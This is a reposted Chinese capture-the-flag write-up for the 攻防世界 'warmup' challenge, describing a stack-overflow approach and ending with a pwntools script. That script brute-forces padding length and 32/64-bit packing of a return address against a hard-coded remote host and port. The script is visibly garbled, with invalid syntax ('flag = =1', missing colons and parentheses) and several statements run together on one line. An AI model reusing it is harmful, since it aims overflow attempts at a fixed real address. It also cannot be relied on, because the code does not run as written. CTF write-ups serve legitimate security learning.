1. 程式人生 > 實用技巧 >『攻防世界』:進階區 | warmup

『攻防世界』:進階區 | warmup

這道題感覺有點怪怪的,題目頁面並沒有給出附件,實驗了下可以開啟線上場景

先用nc看一看程式執行起來是怎麼樣的。

首先一句warm up,再給我們列印了一個地址,這個地址我猜是解題的關鍵,應該需要通過棧溢位到這個地址就可以吧,畢竟這只是道暖身題,但是接下來的問題是如果我們選擇棧溢位則需要知道棧溢位的cylib構造的長度以及地址的打包方式。

這兩個問題我可以通過指令碼爆破出來就可以了,雖然邏輯非常簡單,但是對於沒有學習過Python的我來說還是要花費億點功夫的。

大概就是for(i ,i < cylib, i++){ for(j =1, j<p32(), j++){io = remote();io.recv();payload = ...;io.sendline;io.interactive();} }, 上面那個就是一點點的邏輯,不用太在意裡面的錯誤。 = =

最後附上老溼的exp:

from pwn import *
#context.load_level = 'debug'
addr = 0x40060d

def fuzz(r,num,flag):
    payload = 'a' * num
    if flag = =1
        payload += p32(addr)
    if flag == 2
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main()
    for i in range(1000):
        
print(i) for j in range(3): try: r = remote("111.198.29.45",46588) fuzz(r,i,j) text = r.recv() print('text.len='+str(len(text))+'text='+text) print('num= '+ str(i) + 'flag =' + str(j) r.interactive()
except: r.close() if__name__ == '__main__' : main()
EXP

老溼的部落格:www.sailingplace.cn